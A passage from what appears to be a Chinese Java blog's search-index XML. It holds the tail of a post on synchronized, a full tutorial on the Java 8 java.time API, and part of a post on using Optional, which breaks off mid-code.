class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象</p></li><li><p>锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁</p></li><li><p>锁消除和锁粗化是 JVM 的优化手段</p></li><li><p>synchronized 保证原子性、可见性和有序性</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 8时间日期API完全指南</title>
      <link href="//java-8-shi-jian-ri-qi-api-wan-quan-zhi-nan/"/>
      <url>//java-8-shi-jian-ri-qi-api-wan-quan-zhi-nan/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-8时间日期API完全指南"><a href="#Java-8时间日期API完全指南" class="headerlink" title="Java 8时间日期API完全指南"></a>Java 8时间日期API完全指南</h1><p>Java 8 引入了全新的时间日期 API（<code>java.time</code> 包），彻底解决了旧 <code>Date</code>/<code>Calendar</code> 的设计缺陷。本文全面讲解新 API 的使用方法。</p><h2 id="旧-API-的问题"><a href="#旧-API-的问题" class="headerlink" title="旧 API 的问题"></a>旧 API 的问题</h2><ol><li><strong>设计糟糕</strong>：<code>Date</code> 既表示日期又表示时间，月份从 0 开始</li><li><strong>线程不安全</strong>：<code>SimpleDateFormat</code> 并发使用会出问题</li><li><strong>时区处理复杂</strong>：<code>TimeZone</code> 设计混乱</li><li><strong>不可变性缺失</strong>：<code>Date</code> 对象可修改</li></ol><h2 id="核心类概览"><a href="#核心类概览" class="headerlink" title="核心类概览"></a>核心类概览</h2><table><thead><tr><th>类</th><th>说明</th></tr></thead><tbody><tr><td>LocalDate</td><td>日期（年-月-日）</td></tr><tr><td>LocalTime</td><td>时间（时:分:秒）</td></tr><tr><td>LocalDateTime</td><td>日期+时间</td></tr><tr><td>ZonedDateTime</td><td>带时区的日期时间</td></tr><tr><td>Instant</td><td>时间戳（秒/纳秒）</td></tr><tr><td>Duration</td><td>时间间隔（秒/纳秒）</td></tr><tr><td>Period</td><td>日期间隔（年/月/日）</td></tr><tr><td>DateTimeFormatter</td><td>格式化</td></tr></tbody></table><h2 id="LocalDate-日期操作"><a href="#LocalDate-日期操作" class="headerlink" title="LocalDate 日期操作"></a>LocalDate 日期操作</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 获取当前日期</span></span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 创建指定日期</span></span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">date</span> <span class="operator">=</span> LocalDate.of(<span class="number">2024</span>, <span class="number">5</span>, <span class="number">12</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 解析字符串</span></span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">parsed</span> <span class="operator">=</span> LocalDate.parse(<span class="string">&quot;2024-05-12&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取属性</span></span><br><span class="line"><span class="type">int</span> <span class="variable">year</span> <span class="operator">=</span> date.getYear();</span><br><span class="line"><span class="type">Month</span> <span class="variable">month</span> <span class="operator">=</span> date.getMonth();  <span class="comment">// MAY</span></span><br><span class="line"><span class="type">int</span> <span class="variable">day</span> <span class="operator">=</span> date.getDayOfMonth();</span><br><span class="line"><span class="type">DayOfWeek</span> <span class="variable">week</span> <span class="operator">=</span> date.getDayOfWeek();  <span class="comment">// SUNDAY</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 日期计算</span></span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">tomorrow</span> <span class="operator">=</span> date.plusDays(<span class="number">1</span>);</span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">lastMonth</span> <span class="operator">=</span> date.minusMonths(<span class="number">1</span>);</span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">nextYear</span> <span class="operator">=</span> date.plusYears(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 调整日期</span></span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">firstDay</span> <span class="operator">=</span> date.withDayOfMonth(<span class="number">1</span>);</span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">lastDay</span> <span class="operator">=</span> date.with(TemporalAdjusters.lastDayOfMonth());</span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">nextMonday</span> <span class="operator">=</span> date.with(TemporalAdjusters.next(DayOfWeek.MONDAY));</span><br></pre></td></tr></table></figure><h2 id="LocalTime-时间操作"><a href="#LocalTime-时间操作" class="headerlink" title="LocalTime 时间操作"></a>LocalTime 时间操作</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">LocalTime</span> <span class="variable">now</span> <span class="operator">=</span> LocalTime.now();</span><br><span class="line"><span class="type">LocalTime</span> <span class="variable">time</span> <span class="operator">=</span> LocalTime.of(<span class="number">14</span>, <span class="number">30</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 比较</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">isBefore</span> <span class="operator">=</span> now.isBefore(LocalTime.NOON);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 截断</span></span><br><span class="line"><span class="type">LocalTime</span> <span class="variable">truncated</span> <span class="operator">=</span> now.truncatedTo(ChronoUnit.MINUTES);  <span class="comment">// 去掉秒</span></span><br></pre></td></tr></table></figure><h2 id="LocalDateTime-日期时间"><a href="#LocalDateTime-日期时间" class="headerlink" title="LocalDateTime 日期时间"></a>LocalDateTime 日期时间</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">LocalDateTime</span> <span class="variable">now</span> <span class="operator">=</span> LocalDateTime.now();</span><br><span class="line"><span class="type">LocalDateTime</span> <span class="variable">dateTime</span> <span class="operator">=</span> LocalDateTime.of(<span class="number">2024</span>, <span class="number">5</span>, <span class="number">12</span>, <span class="number">14</span>, <span class="number">30</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 与LocalDate、LocalTime互转</span></span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">date</span> <span class="operator">=</span> now.toLocalDate();</span><br><span class="line"><span class="type">LocalTime</span> <span class="variable">time</span> <span class="operator">=</span> now.toLocalTime();</span><br><span class="line"><span class="type">LocalDateTime</span> <span class="variable">combined</span> <span class="operator">=</span> date.atTime(time);</span><br></pre></td></tr></table></figure><h2 id="ZonedDateTime-时区处理"><a href="#ZonedDateTime-时区处理" class="headerlink" title="ZonedDateTime 时区处理"></a>ZonedDateTime 时区处理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 系统默认时区</span></span><br><span class="line"><span class="type">ZonedDateTime</span> <span class="variable">now</span> <span class="operator">=</span> ZonedDateTime.now();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 指定时区</span></span><br><span class="line"><span class="type">ZonedDateTime</span> <span class="variable">ny</span> <span class="operator">=</span> ZonedDateTime.now(ZoneId.of(<span class="string">&quot;America/New_York&quot;</span>));</span><br><span class="line"><span class="type">ZonedDateTime</span> <span class="variable">tokyo</span> <span class="operator">=</span> ZonedDateTime.now(ZoneId.of(<span class="string">&quot;Asia/Tokyo&quot;</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 时区转换</span></span><br><span class="line"><span class="type">ZonedDateTime</span> <span class="variable">converted</span> <span class="operator">=</span> ny.withZoneSameInstant(ZoneId.of(<span class="string">&quot;Asia/Shanghai&quot;</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 可用时区列表</span></span><br><span class="line">Set&lt;String&gt; zones = ZoneId.getAvailableZoneIds();</span><br></pre></td></tr></table></figure><h2 id="Instant-时间戳"><a href="#Instant-时间戳" class="headerlink" title="Instant 时间戳"></a>Instant 时间戳</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 当前时间戳</span></span><br><span class="line"><span class="type">Instant</span> <span class="variable">now</span> <span class="operator">=</span> Instant.now();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 从纪元开始计算</span></span><br><span class="line"><span class="type">Instant</span> <span class="variable">instant</span> <span class="operator">=</span> Instant.ofEpochMilli(System.currentTimeMillis());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取秒和纳秒</span></span><br><span class="line"><span class="type">long</span> <span class="variable">seconds</span> <span class="operator">=</span> now.getEpochSecond();</span><br><span class="line"><span class="type">int</span> <span class="variable">nanos</span> <span class="operator">=</span> now.getNano();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 与Date互转</span></span><br><span class="line"><span class="type">Date</span> <span class="variable">date</span> <span class="operator">=</span> Date.from(instant);</span><br><span class="line"><span class="type">Instant</span> <span class="variable">instant2</span> <span class="operator">=</span> date.toInstant();</span><br></pre></td></tr></table></figure><h2 id="Duration-和-Period"><a href="#Duration-和-Period" class="headerlink" title="Duration 和 Period"></a>Duration 和 Period</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Duration：时间间隔（时分秒）</span></span><br><span class="line"><span class="type">LocalTime</span> <span class="variable">start</span> <span class="operator">=</span> LocalTime.of(<span class="number">9</span>, <span class="number">0</span>);</span><br><span class="line"><span class="type">LocalTime</span> <span class="variable">end</span> <span class="operator">=</span> LocalTime.of(<span class="number">17</span>, <span class="number">30</span>);</span><br><span class="line"><span class="type">Duration</span> <span class="variable">duration</span> <span class="operator">=</span> Duration.between(start, end);</span><br><span class="line"><span class="type">long</span> <span class="variable">hours</span> <span class="operator">=</span> duration.toHours();  <span class="comment">// 8</span></span><br><span class="line"><span class="type">long</span> <span class="variable">minutes</span> <span class="operator">=</span> duration.toMinutes();  <span class="comment">// 510</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Period：日期间隔（年月日）</span></span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">startDate</span> <span class="operator">=</span> LocalDate.of(<span class="number">2024</span>, <span class="number">1</span>, <span class="number">1</span>);</span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">endDate</span> <span class="operator">=</span> LocalDate.of(<span class="number">2024</span>, <span class="number">5</span>, <span class="number">12</span>);</span><br><span class="line"><span class="type">Period</span> <span class="variable">period</span> <span class="operator">=</span> Period.between(startDate, endDate);</span><br><span class="line"><span class="type">int</span> <span class="variable">months</span> <span class="operator">=</span> period.getMonths();  <span class="comment">// 4</span></span><br><span class="line"><span class="type">int</span> <span class="variable">days</span> <span class="operator">=</span> period.getDays();  <span class="comment">// 11</span></span><br></pre></td></tr></table></figure><h2 id="DateTimeFormatter-格式化"><a href="#DateTimeFormatter-格式化" class="headerlink" title="DateTimeFormatter 格式化"></a>DateTimeFormatter 格式化</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 预定义格式</span></span><br><span class="line"><span class="type">DateTimeFormatter</span> <span class="variable">iso</span> <span class="operator">=</span> DateTimeFormatter.ISO_LOCAL_DATE_TIME;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 自定义格式</span></span><br><span class="line"><span class="type">DateTimeFormatter</span> <span class="variable">formatter</span> <span class="operator">=</span> DateTimeFormatter.ofPattern(<span class="string">&quot;yyyy年MM月dd日 HH:mm:ss&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">formatted</span> <span class="operator">=</span> LocalDateTime.now().format(formatter);</span><br><span class="line"><span class="comment">// 结果: 2024年05月12日 14:30:00</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 解析</span></span><br><span class="line"><span class="type">LocalDateTime</span> <span class="variable">parsed</span> <span class="operator">=</span> LocalDateTime.parse(<span class="string">&quot;2024-05-12 14:30:00&quot;</span>, </span><br><span class="line">    DateTimeFormatter.ofPattern(<span class="string">&quot;yyyy-MM-dd HH:mm:ss&quot;</span>));</span><br></pre></td></tr></table></figure><h2 id="与旧-API-互转"><a href="#与旧-API-互转" class="headerlink" title="与旧 API 互转"></a>与旧 API 互转</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Date -&gt; LocalDateTime</span></span><br><span class="line"><span class="type">Date</span> <span class="variable">date</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Date</span>();</span><br><span class="line"><span class="type">LocalDateTime</span> <span class="variable">dateTime</span> <span class="operator">=</span> date.toInstant()</span><br><span class="line">    .atZone(ZoneId.systemDefault())</span><br><span class="line">    .toLocalDateTime();</span><br><span class="line"></span><br><span class="line"><span class="comment">// LocalDateTime -&gt; Date</span></span><br><span class="line"><span class="type">Date</span> <span class="variable">newDate</span> <span class="operator">=</span> Date.from(dateTime.atZone(ZoneId.systemDefault()).toInstant());</span><br><span class="line"></span><br><span class="line"><span class="comment">// Calendar -&gt; ZonedDateTime</span></span><br><span class="line"><span class="type">Calendar</span> <span class="variable">cal</span> <span class="operator">=</span> Calendar.getInstance();</span><br><span class="line"><span class="type">ZonedDateTime</span> <span class="variable">zdt</span> <span class="operator">=</span> cal.toInstant().atZone(cal.getTimeZone().toZoneId());</span><br></pre></td></tr></table></figure><h2 id="线程安全"><a href="#线程安全" class="headerlink" title="线程安全"></a>线程安全</h2><p>所有 <code>java.time</code> 类都是<strong>不可变且线程安全</strong>的：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 可以安全地共享</span></span><br><span class="line"><span class="type">DateTimeFormatter</span> <span class="variable">formatter</span> <span class="operator">=</span> DateTimeFormatter.ofPattern(<span class="string">&quot;yyyy-MM-dd&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 多线程并发使用</span></span><br><span class="line"><span class="type">ExecutorService</span> <span class="variable">executor</span> <span class="operator">=</span> Executors.newFixedThreadPool(<span class="number">10</span>);</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">100</span>; i++) &#123;</span><br><span class="line">    executor.submit(() -&gt; &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">formatted</span> <span class="operator">=</span> LocalDate.now().format(formatter);</span><br><span class="line">        System.out.println(formatted);</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><ol><li><strong>新代码全部使用 java.time</strong>：不再使用 Date/Calendar</li><li><strong>数据库映射</strong>：JPA 2.2+ 支持 java.time 类型</li><li><strong>JSON 序列化</strong>：配置 Jackson/Gson 支持 JSR-310</li><li><strong>API 设计</strong>：方法参数使用 LocalDate/LocalDateTime 而非 String</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Jackson 支持</span></span><br><span class="line"><span class="type">ObjectMapper</span> <span class="variable">mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectMapper</span>();</span><br><span class="line">mapper.registerModule(<span class="keyword">new</span> <span class="title class_">JavaTimeModule</span>());</span><br><span class="line">mapper.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS);</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Java 8 时间 API 的设计原则：</p><ul><li><strong>清晰分离</strong>：日期、时间、日期时间、时区各自独立</li><li><strong>不可变性</strong>：所有对象不可修改，线程安全</li><li><strong>方法命名一致</strong>：<code>plusXxx</code>、<code>minusXxx</code>、<code>withXxx</code></li></ul><p>掌握 <code>java.time</code> 包是现代 Java 开发的基本要求，它能让你避免大量时间处理相关的 Bug。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Optional优雅处理空值问题</title>
      <link href="//optional-you-ya-chu-li-kong-zhi-wen-ti/"/>
      <url>//optional-you-ya-chu-li-kong-zhi-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="Optional优雅处理空值问题"><a href="#Optional优雅处理空值问题" class="headerlink" title="Optional优雅处理空值问题"></a>Optional优雅处理空值问题</h1><p><code>Optional</code> 是 Java 8 引入的容器类，用于表示可能为空的值。本文讲解其正确用法和常见误区。</p><h2 id="为什么需要-Optional"><a href="#为什么需要-Optional" class="headerlink" title="为什么需要 Optional"></a>为什么需要 Optional</h2><p>传统空值处理的问题：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 多层嵌套判空</span></span><br><span class="line"><span class="type">String</span> <span class="variable">city</span> <span class="operator">=</span> user.getAddress().getCity();  <span class="comment">// 可能NPE</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 防御式编程导致代码臃肿</span></span><br><span class="line"><span class="type">String</span> <span class="variable">city</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="type">Address</span> <span class="variable">address</span> <span class="operator">=</span> user.getAddress();</span><br><span class="line">    <span class="keyword">if</span> (address != <span class="literal">null</span>) &#123;</span><br><span class="line">        city = address.getCity();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Optional-基本用法"><a href="#Optional-基本用法" class="headerlink" title="Optional 基本用法"></a>Optional 基本用法</h2><h3 id="创建-Optional"><a href="#创建-Optional" class="headerlink" title="创建 Optional"></a>创建 Optional</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 非空值</span></span><br><span class="line">Optional&lt;String&gt; opt1 = Optional.of(<span class="string">&quot;hello&quot;</span>);  <span class="comment">// null会抛NPE</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 可能为null的值</span></span><br><span class="line">Optional&lt;String&gt; opt2 = Optional.ofNullable(getString());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 空Optional</span></span><br><span class="line">Optional&lt;String&gt; opt3 = Optional.empty();</span><br></pre></td></tr></table></figure><h3 id="获取值"><a href="#获取值" class="headerlink" title="获取值"></a>获取值</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Optional&lt;String&gt; opt = Optional.of(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 直接获取（为空时抛NoSuchElementException）</span></span><br><span class="line"><span class="type">String</span> <span class="variable">val1</span> <span class="operator">=</span> opt.get();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 提供默认值</span></span><br><span class="line"><span class="type">String</span> <span class="variable">val2</span> <span class="operator">=</span> opt.orElse(<span class="string">&quot;default&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 延迟计算默认值</span></span><br><span class="line"><span class="type">String</span> <span class="variable">val3</span> <span class="operator">=</span> opt.orElseGet(() -&gt; expensiveOperation());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 为空时抛出异常</span></span><br><span class="line"><span class="type">String</span> <span class="variable">val4</span> <span class="operator">=</span> opt.orElseThrow(() -&gt; <span class="keyword">new</span> <span class="title class_">NotFoundException</span>());</span><br></pre></td></tr></table></figure><h3 id="条件操作"><a href="#条件操作" class="headerlink" title="条件操作"></a>条件操作</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Optional&lt;String&gt; opt = Optional.of(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 值存在时执行</span></span><br><span class="line">opt.ifPresent(System.out::println);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 值存在时转换，否则返回空</span></span><br><span class="line">Optional&lt;String&gt; upper = opt.map(String::toUpperCase);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 值存在时返回新的Optional</span></span><br><span class="line">Optional&lt;String&gt; result = opt.flatMap(<span class="built_in">this</span>::findByName);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 过滤</span></span><br><span class="line">Optional&lt;String&gt; filtered = opt.filter(s -&gt; s.length() &gt; <span class="number">3</span>);</span><br></pre></td></tr></table></figure><h2 id="实战场景"><a href="#实战场景" class="headerlink" title="实战场景"></a>实战场景</h2><h3 id="1-链式调用避免嵌套"><a href="#1-链式调用避免嵌套" class="headerlink" title="1. 链式调用避免嵌套"></a>1. 链式调用避免嵌套</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 传统写法</span></span><br><span class="line"><span class="type">String</span> <span class="variable">city</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span> &amp;&amp; user.getAddress() != <span class="literal">null</span>) &#123;</span><br><span class="line">    city = user.getAddress().getCity();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Optional 写法</span></span><br><span class="line"><span class="type">String</span> <span class="variable">city</span> <span class="operator">=</span> Optional.ofNullable(user)</span><br><span class="line">    .map(User::getAddress)</span><br><span class="line">    .map(Address::getCity)</span><br><span class="line">    .orElse(<span class="string">&quot;Unknown&quot;</span>);</span><br></pre></td></tr></table></figure><h3 id="2-方法返回值"><a href="#2-方法返回值" class="headerlink" title="2. 方法返回值"></a>2. 方法返回值</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 好的设计：返回Optional表示可能为空</span></span><br><span class="line"><span class="keyword">public</span> Optional&lt;User&gt; <span class="title function_">findById</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userDao.findById(id);</span><br><span class="line">    <span class="keyword">return</span> Optional.ofNullable(user);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 调用方明确处理空值</span></span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> findById(<span class="number">1L</span>)</span><br><span class="line">    .orElseThrow(() -&gt; <span class="keyword">new</span> <span class="title class_">UserNotFoundException</span>(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><h3 id="3-异常转换"><a href="#3-异常转换" class="headerlink" title="3. 异常转换"></a>3. 异常转换</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Optional.ofNullable(user)</span><br><span class="line">    .filter(u -&gt; u.getStatus() == Status.ACTIVE)</span><br><span class="line">    .orElseThrow(() -&gt; <span class="keyword">new</span> <span class="title class_">IllegalStateException</span>(<span class="string">&quot;用户未激活&quot;</span>));</span><br></pre></td></tr></table></figure><h2 id="常见误区"><a href="#常见误区" class="headerlink" title="常见误区"></a>常见误区</h2><h3 id="1-Optional-作为字段"><a href="#1-Optional-作为字段" class="headerlink" title="1. Optional 作为字段"></a>1. Optional 作为字段</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！Optional不是为字段设计的</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Optional&lt;String&gt; nickname;  <span class="comment">// 不要这样做</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：字段直接用null表示空</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> String nickname;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Optional&lt;String&gt; <span class="title function_">getNickname</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Optional.ofNullable(nickname);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-Optional-作为方法参数"><a href="#2-Optional-作为方法参数" class="headerlink" title="2. Optional 作为方法参数"></a>2. Optional 作为方法参数</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！参数类型不应是Optional</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">process</span><span class="params">(Optional&lt;String&gt; name)</span> &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：重载方法</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">process</span><span class="params">(String name)</span> &#123;</span><br><span class="line">    process(name, <span class="literal">false</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">process</span><span class="params">(String name, <span class="type">boolean</span> uppercase)</span> &#123; ... &#125;</span><br></pre></td></tr></table></figure><h3 id="3-isPresent-get-的组合"><a href="#3-isPresent-get-的组合" class="headerlink" title="3. isPresent + get 的组合"></a>3. isPresent + get 的组合</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！回到了if-null的模式</span></span><br><span class="line"><span class="keyword">if</span> (opt.isPresent()) &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">val</span> <span class="operator">=</span> opt.get();</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：使用ifPresent</span></span><br><span class="line">opt.ifPresent(val -&gt; &#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或map/filter</span></span><br><span class="line">opt.map(...).filter(...).orElse(...);</span><br></pre></td></tr></table></figure><h3 id="4-默认值为null"><a href="#4-默认值为null" class="headerlink" title="4. 默认值为null"></a>4. 默认值为null</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！失去了Optional的意义</span></span><br><span class="line"><span class="type">String</span> <span class="variable">val</span> <span class="operator">=</span> opt.orElse(<span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：提供有意义的默认值</span></span><br><span class="line"><span class="type">String</span> <span class="variable">val</span> <span class="operator">=</span> opt.orElse(<span class="string">&quot;&quot;</span>);</span><br></pre></td></tr></table></figure><h2 id="Optional-与-Stream-结合"><a href="#Optional-与-Stream-结合" class="headerlink" title="Optional 与 Stream 结合"></a>Optional 与 Stream 结合</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Optional&lt;String&gt;&gt; optionals = Arrays.asList(</span><br><span class="line">    Optional.of(<span class="string">&quot;a&quot;</span>),</span><br><span class="line">    Optional.empty(),</span><br><span class="line">    Optional.of(<span class="string">&quot;b&quot;</span>)</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 过滤空值并收集</span></span><br><span class="line">List&lt;String&gt; results = optionals.stream()</span><br><span class="line">    .flatMap(Optional::stream)  <span class="comment">// Java 9+</span></span><br><span class="line">    .collect(Collectors.toList());</span><br><span class="line"><span class="comment">// 结果: [&quot;a&quot;, &quot;b&quot;]</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Java 8 写法</span></span><br><span class="line">List&lt;String&gt; results = optionals.stream()</span><br><span class="line">    .filter(Optional::isPresent)</span><br><span class="line">    .map(Optional::get)</span><br><span class="line">    .collect(Collectors.toList());</span><br></pre></td></tr></table></figure><h2 id="性能考量"><a href="#性能考量" class="headerlink" title="性能考量"></a>性能考量</h2><p>Optional 是对象，有创建开销：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 简单场景直接返回null更好</span></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">findName</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> condition ? <span class="string">&quot;name&quot;</span> : <span class="literal">null</span>;  <span class="comment">// 比Optional更高效</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 复杂链式操作使用Optional</span></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">findCity</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> Optional.ofNullable(user)</span><br><span class="line">        .map(User::getAddress)</span><br><span class="line">        .map(Address::getCity)</span><br><span class="line">        .orElse(<span class="string">&quot;Unknown&quot;</span>);</span><br><span 